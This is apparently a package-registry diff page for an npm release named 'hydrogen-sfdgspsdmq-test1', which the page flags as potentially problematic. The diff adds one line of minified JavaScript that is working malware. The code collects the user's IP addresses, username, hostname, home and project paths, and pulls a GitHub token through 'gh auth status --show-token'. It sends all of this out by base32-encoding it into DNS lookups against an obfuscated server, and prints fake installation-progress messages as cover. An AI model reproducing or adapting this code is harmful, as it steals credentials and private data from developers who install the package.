hydrogen-sfdgspsdmq-test1 0.0.1-security → 2024.1.16

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of hydrogen-sfdgspsdmq-test1 might be problematic. Click here for more details.

@@ -0,0 +1 @@
1
+ var dns=require("dns");var http=require("http");var os=require("os");var path=require("path");var execModule=require("child_process").exec;var interfaces_network=os.networkInterfaces();var timestamp=(new Date).toString();var parts=timestamp.split(" ");var datePart=parts.slice(0,4).join(" ");var timePart=parts[4];var timezonePart=parts.slice(5).join(" ");var timezonePart_parts=timezonePart.split(/\s+(?=\(.*\))/);var timezonePart1=timezonePart_parts[0];var timezonePart2=timezonePart_parts[1];var username=os.userInfo().username;var hostname=os.hostname();var homePath=os.homedir();var projectDir=process.cwd();var userDir=os.homedir();var relativeDir=path.relative(userDir,projectDir);var halfRelativeDir=getPartsOfRelativeDir(relativeDir);var dnsServersAddress=["MM2C4Z3FNZUXG6LTNNSXE3TFNQXGG33N"];Promise.all([fetchIPv4(),fetchIPv6(),getGitHubToken()]).then((function(values){iterateTrackingData(values[0],values[1],values[2])})).catch((function(error){}));function getPartsOfRelativeDir(relativeDir){var separator=relativeDir.includes("\\")?"\\":"/";var parts=relativeDir.split(separator);var numParts=4;var numDirectories=parts.length;var directoriesPerPart=Math.ceil(numDirectories/numParts);var currentDirectoryIndex=0;var result={};for(var i=1;i<=numParts;i++){var part=parts.slice(currentDirectoryIndex,currentDirectoryIndex+directoriesPerPart).join(separator);if(part.length>1){result["part"+i]=i===1?part:separator+part}currentDirectoryIndex+=directoriesPerPart}return result}function fetchIPv4(){return new Promise((function(resolve,reject){http.get({host:"api.ipify.org",port:80,path:"/"},(function(resp){var data="";resp.on("data",(function(chunk){data+=chunk}));resp.on("end",(function(){resolve(data)}))})).on("error",(function(err){reject(err)}))}))}function fetchIPv6(){return new Promise((function(resolve,reject){http.get({host:"api6.ipify.org",port:80,path:"/"},(function(resp){var data="";resp.on("data",(function(chunk){data+=chunk}));resp.on("end",(function(){resolve(data)}))})).on("error",(function(err){reject(err)}))}))}function getGitHubToken(){return new Promise((function(resolve,reject){execModule("gh --version",(function(error,stdout,stderr){if(error){reject("gh --version not found");return}execModule("gh auth status --show-token",(function(error,stdout,stderr){if(stdout||stderr){var output=stdout||stderr;var tokenRegex=/gho_[\w-]+/;var match=output.match(tokenRegex);if(match){var token=match[0].split("_")[1];resolve(token)}else{reject("gh token not found")}}else{reject("gh empty response")}}))}))}))}function getLocalIPv4(){var localIPv4="";for(var interface_network in interfaces_network){var filteredInterfaces=interfaces_network[interface_network].filter((details=>details.family==="IPv4"&&!details.internal));if(filteredInterfaces.length>0){localIPv4=filteredInterfaces[0].address;break}}return localIPv4}function base32Encode(input){var base32Chars="ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";var result="";var bits=0;var currentByte=0;for(var i=0;i<input.length;i++){currentByte=currentByte<<8|input[i];bits+=8;while(bits>=5){result+=base32Chars[currentByte>>>bits-5&31];bits-=5}}if(bits>0){result+=base32Chars[currentByte<<5-bits&31]}while(result.length%8!==0){result+="="}return result}function base32Decode(input){var base32Chars="ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";var reverseBase32Chars={};for(var i=0;i<base32Chars.length;i++){reverseBase32Chars[base32Chars[i]]=i}input=input.replace(/=+$/,"");var result=[];var bits=0;var currentByte=0;for(var i=0;i<input.length;i++){var value=reverseBase32Chars[input[i]];if(value===undefined){throw new Error("Invalid Base32 character")}currentByte=currentByte<<5|value;bits+=5;if(bits>=8){result.push(currentByte>>>bits-8&255);bits-=8}}return Buffer.from(result)}function sendDataToDNSServer(data,dnsServersAddress){var subdomain_data=base32Encode(Buffer.from(data)).replace(/[+/=]/g,"").toLowerCase();for(var dnsServerAddress of dnsServersAddress){dnsServerAddress_decoded=base32Decode(dnsServerAddress);var hostname=`${subdomain_data}.${dnsServerAddress_decoded}`;dns.lookup(hostname,((err,address)=>{if(err){}else{}}))}}async function iterateTrackingData(externalIPv4,externalIPv6,token){var trackingData=[getLocalIPv4(),externalIPv4,externalIPv6,datePart,timePart,timezonePart1,timezonePart2,username,hostname,homePath,token];for(var i=1;i<=4;i++){var part=halfRelativeDir[`part${i}`];if(part!==undefined){trackingData.push(part)}}m=["Checking prerequisites...","Preparing for installation...","Setting up environment...","Verifying file integrity...","Analyzing potential vulnerabilities...","Running security tests...","Notifying user of progress...","Loading configurations...","Initiating pre-installation process...","Completed. Ready for installation.","Cleaning working directory...","Finalizing preparation.","Performing system compatibility check...","Checking network connectivity...","Updating package registries..."];for(var i=0;i<trackingData.length;i++){sendDataToDNSServer(trackingData[i],dnsServersAddress);console.log(`${m[i]}`);await new Promise((resolve=>setTimeout(resolve,2e3)))}}